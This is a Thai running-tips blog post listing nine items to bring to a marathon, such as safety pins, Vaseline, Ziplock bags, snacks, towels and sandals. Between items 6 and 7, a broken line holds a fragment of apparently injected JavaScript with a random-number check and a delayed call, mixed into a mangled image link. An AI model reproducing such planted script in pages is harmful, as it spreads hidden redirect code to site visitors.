• เกี่ยวกับ STEP EXTRA
STEP EXTRA Run more Spin more
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping
No Result
View All Result
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping
No Result
View All Result
StepExtra
No Result
View All Result
Home Tips & Technics Running Tips

Marathon survival kit: มาราธอนต้องรอด กับ 9 อุปกรณ์ช่วยชีวิตนักวิ่งมาราธอน

kan by kan
21 January 2019
in Running Tips, Tips & Technics
0
Marathon survival kit: มาราธอนต้องรอด กับ 9 อุปกรณ์ช่วยชีวิตนักวิ่งมาราธอน
0
SHARES
0
VIEWS
Share on FacebookShare on Twitter

อุปกรณ์อะไรบ้างที่ควรพกพาไประหว่างวิ่งแข่งขันมาราธอน ถ้าไม่นับอุปกรณ์บังคับอย่าง BIB และชุดเสื้อผ้ารองเท้าวิ่งแข่งขัน จากประสบการณ์การวิ่งมาราธอนของผู้เขียน มีอุปกรณ์ 9 อย่างที่อยากนำมาแนะนำให้ลองติดตัวติดกระเป๋าไป และสามารถใช้ได้ทุกงานวิ่ง ไม่ว่าจะเป็นระยะมาราธอนหรือจะเป็นระยะมินิและฮาร์ฟมาราธอนก็ตาม

Marathon survival kit : แนะนำ 9 อุปกรณ์ติดตัว ติดกระเป๋า สำหรับวิ่งมาราธอน

1. เข็มกลัดเอกประสงค์ ไม่ว่าคุณจะเตรียมที่หนีบ BIB มาพร้อมแค่ไหน เวลาจะเรียกใช้ มันก็จะหายไปทุกที หรือจำนวนมีไม่พอ เวลาต้องการติดเพิ่มกันหลุดหรือเลื่อนตำแหน่งใหม่ ไม่ก็เพื่อนคุณขอยืมใช้ เข็มกลัดคืออุปกรณ์จำเป็นที่ต้องถูกใช้ทุกงานเสมอ

2. ที่มัดผมหรือหมวก หากผมคุณยาวเกินคางลงไป เราแนะนำให้ทำการผูกมัดผมให้เรียบร้อย โดยเฉพาะนักวิ่งผู้หญิง ที่มัดผมจะช่วยให้ผมคุณไม่สะบัดประหน้าไปมา ไม่ทำให้เหงื่อไหลกระเด็น แถมให้อากาศไหลผ่านระบายเหงื่อได้ดีด้วย ส่วนหมวกนี้ นอกจากจะช่วยกันแดดแล้ว ยังสามารถใช้ใส่จัดทรงผมให้อยู่เป็นที่เป็นทางและช่วยกันเหงื่อไม่ให้ไหลเข้าตาด้วย

3. วาสลีน กรณีที่เราต้องวิ่งเป็นระยะทางไกล โอกาสเกิดการเสียดสีระหว่างผิวหนังบริเวณขาหนีบและไหล่รักแร้มีสูง นักวิ่งมีโอกาสเกิดแผลสดและมีอาการแสบได้ เราแนะนำให้ทาบวาสลีนก่อนออกวิ่งมาราธอนทุกครั้ง เพื่อลดการเสียดสีลง ให้คุณวิ่งได้สบายตัวตลอดระยะทาง

4. ถุง Ziplock ถุงพลาสติกอเนกประสงค์ที่คุณสามารถใส่เศษเงินและโทรศัพท์มือถือได้ระหว่างวิ่ง ไม่ต้องกลัวว่าเหงื่อจะไหลซึมเข้าหรือเปียกหากเกิดฝนตก หากมีมากกว่าหนึ่ง เราก็แนะนำให้พกใส่กระเป๋าหรือถุง Goodie bag ไว้ด้วย เพราะจะเอาไว้ใส่ชุดเสื้อผ้าวิ่งที่เปียกเหงื่อ ช่วยป้องกันไม่ให้ชุดเสื้อผ้าอื่นๆ ถูกเหงื่อเปียกไปด้วย


runningdanw.wordpress.com

5. ขนมขบเคี้ยว เสบียงอาหารพวกถั่วธัญพืชแบบแท่งหรือกล้วยตากแห้งแบบแพคเป็นถุงๆ สะดวกในการฉีกและรับประทานได้เลย เพราะการวิ่งมาราธอนนอกจากเรื่องการฝึกฝนแล้ว ยังเกี่ยวกับการรักษาระดับน้ำในร่างกายและแคลอรี่ที่ต้องเติมกลับคืนเป็นระยะๆ

6. ผ้าเช็ดตัว ผ้าเช็ดตัวทั้งขนาดเล็กและขนาดใหญ่ สำหรับใช้เช็ดเปลี่ยนเป็นชุดใหม่ที่แห้ง เพื่อป้องกันอาการเหนียวเหนอะหนะ ให้ร่างกายได้ระบายเหงื่อและอุณหภูมิได้ง่าย แถมป้องกันโรคผิวหนังจากเชื้อราด้วย นอกจากนี้สำหรับผ้าเช็ดตัวขนาดใหญ่ยังสามารถใช้คลุมตัวเพื่อป้องกันอุณหภูมิลดลงหลังจบการวิ่ง ซึ่งส่วนมากในเมืองหนาวจะมีการแจกผ้าห่มฉุกเฉิน พวกฟลอยด์คลุมตัวเพื่อรักษาอุณหภูมิร่างกายให้คงที่ แต่สำหรับเมืองร้อนอย่างประเทศไทยมักไม่ค่อยได้ใช่เท่าไหร่ ถ้าไม่ใช้ช่วงฤดูหนาว


andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and-everything-you-need-to-know%2F&psig=AOvVaw2_16UdDBT44TvjfCShgYo5&ust=1547823081957930″>JustRunLah!

7. ผ้า Compression อุปกรณ์เสริมอย่างเช่น ที่รัดน่อง หรือถุงเท้ารัดกล้ามเนื้อ เพราะอุปกรณ์ที่รัดกล้าเมเนื้อ (Compression) จะช่วยให้การฟื้นตัวทำงานได้เร็วขึ้น เหมือนกับการนวดกล้ามเนื้อให้เลือดไหลเวียนดีขึ้น

8. ทิชชู่แห้งหรือทิชชู่เปียก สำหรับเช็ดทำความสะอาดมือเท้าหรือร่างกายเวลาเข้าออกห้องน้ำหรือช่วงรับประทานอาหารหลังจบการวิ่ง บางครั้งก็เดินหาที่ล้างมือไม่ได้ การมีพวกทิชชู่เปียกเช็ดมือให้สะอาดก็ถือว่าใช้งานสะดวกและง่ายต่อการเก็บทิ้งด้วย

9.  รองเท้าแตะ หลังเข้าเส้นชัยทำการยืดเหยียดกล้ามเนื้อและเปลี่ยนเสื้อผ้าเรียบร้อยแล้วคงไม่มีใครอยากใส่รองเท้าวิ่งกันอีกละครับ เปลี่ยนเสื้อผ้าชุดใหม่เพื่อให้ร่างกายนักวิ่งโปร่งสบายตัว ขณะเดินไปมาเพื่อเติมน้ำและแคลอรี่กลับคืนร่างกาย อุปกรณ์ที่จะช่วยอำนวยความสะดวกในการเคลื่อนที่ไปมาอย่างคล่องและสบายตัวที่สุดคือ รองเท้าแตะ  

นอกจากน้ำดื่มที่เราเตรียมไว้เอง ก็อย่าลืมเตรียม Post-race snack ไว้ด้วยครับ เพราะหลายครั้งที่เรามาถึงเส้นชัยก็กินเวลาเยอะแล้ว เวลามุ่งหน้าไปที่จุดบริการน้ำอาหาร พวกอาหารที่ขายดี ที่นักวิ่งมาราธอนควรจะได้ มักจะหมดก่อนเป็นอันดับแรกๆ ถ้าผู้จัดไม่ได้แบ่งพื้นที่ให้เป็นที่เป็นทาง นี้ของระยะมินิมาราธอน นี้ของระยะฮาร์ฟมาราธอน นักวิ่งระยะอื่นๆ จะเข้ามารับประทานอาหารของระยะมาราธอนไปจนหมดซะก่อนทุกที การมีขนมหรืออาหารรองท้องจะช่วยเราได้เยอะ แล้วค่อยไปจัดเต็มอีกทีที่มื้อฉลอง

อ้างอิง womensrunninguk.co.uk www.active.com

Tags: marathonRunning
ShareTweetShare
kan

kan

Related Posts

สร้าง New PB ได้ง่ายๆ ด้วย 4 เคล็ดลับเทคนิคการวิ่ง
Running Tips

สร้าง New PB ได้ง่ายๆ ด้วย 4 เคล็ดลับเทคนิคการวิ่ง

24 June 2019
เริ่มใหม่อีกครั้ง: เทคนิคง่ายๆ ที่จะช่วยให้คุณกลับมาวิ่งอีกครั้ง หลังช่วงหยุดยาว
Running Tips

เริ่มใหม่อีกครั้ง: เทคนิคง่ายๆ ที่จะช่วยให้คุณกลับมาวิ่งอีกครั้ง หลังช่วงหยุดยาว

15 January 2019
Bodyweight
Running Tips

วิ่งดี วิ่งเร็ว วิ่งเเล้วไม่เจ็บ กับ 6 ท่า Bodyweight สำหรับนักวิ่งมือใหม่

20 December 2018
Load More
  • 12.1k Fan
  • 22 Follower
  • 30 Follower

บทความยอดนิยมใน 7 วันนี้

  • วิธีคำนวณ Maximum Heart Rate

    วิธีคำนวณ Maximum Heart Rate

    0 shares
    Share 0 Tweet 0
  • วิตามินและเกลือเเร่ที่สำคัญสำหรับนักปั่นจักรยาน

    0 shares
    Share 0 Tweet 0
  • ไขทุกข้อสงสัยกับ “Snap” สายรัดข้อมือคู่ใจนักปั่น Sky Lane

    0 shares
    Share 0 Tweet 0
  • เล่นวินด์เซิร์ฟ นั่งชิลริมทะเล ตกเย็น ปาร์ตี้ปิ้งย่าง นอนรถบ้าน ณ tutu beach ริมหาดจอมเทียนพัทยา จ.ชลบุรี

    0 shares
    Share 0 Tweet 0
  • 5 กระบวนท่าพื้นฐานฝึกกล้ามเนื้อ Core

    0 shares
    Share 0 Tweet 0
StepExtra

STEP EXTRA

Run more, Spin More

เป็นเว็บไซต์ที่รวบรวมและแบ่งปันเรื่องราวดีๆ เกี่ยวกับสุขภาพและกีฬา ไม่ว่าจะเป็น ข่าวสาร, เรื่องน่ารู้, งานวิ่งแข่งและปั่นจักรยานที่น่าสนใจ พร้อมเกร็ดความรู้ดีๆ ที่ช่วยให้คุณสนุกกับการออกกำลังกาย และฟิตร่างกายได้ดียิ่งขึ้น มาเปลี่ยนตัวเองให้เป็นคนใหม่ที่สดใสยิ่งกว่าเดิมด้วยการออกกำลังกายไปด้วยกันกับเรา

  • เกี่ยวกับเรา
  • ติดต่อลงโฆษณา

บทความล่าสุด

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

9 December 2022
เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

9 March 2021
Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

8 May 2020

Browse by Category

  • Event
    • Cycling Event
    • Running Event
    • Triathlon Event
  • Feature
  • Interview
  • News
    • Cycling News
    • Gadget News
    • Gear News
    • Healthy News
    • PR
    • Running News
    • Shoes
  • Place & Route
    • Cycling
    • Running
  • Reviews
    • Gadget Review
    • Shoes Review
    • Sport Gear
  • Tips & Technics
    • Cycling Tips
    • Gadget Tips
    • Healthy Tips
    • Running Tips
    • Training
  • Travel

Partner

  • Whatphone.net ข่าวมือถือ สมาร์ทโฟน Gadget Games Applications และเทคโนโลยีนำสมัย ทุกแบรนด์ทั่วโลก

© 2014STEP EXTRA

  • ข่าวสาร
  • บทวิจารณ์
  • เกร็ดความรู้
  • สถานที่-เส้นทาง
  • Sport Caravan Camping
No Result
View All Result
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping

© 2023 JNews - Premium WordPress news & magazine theme by Jegtheme.

This website uses cookies. By continuing to use this website you are giving consent to cookies being used. Visit our Privacy and Cookie Policy.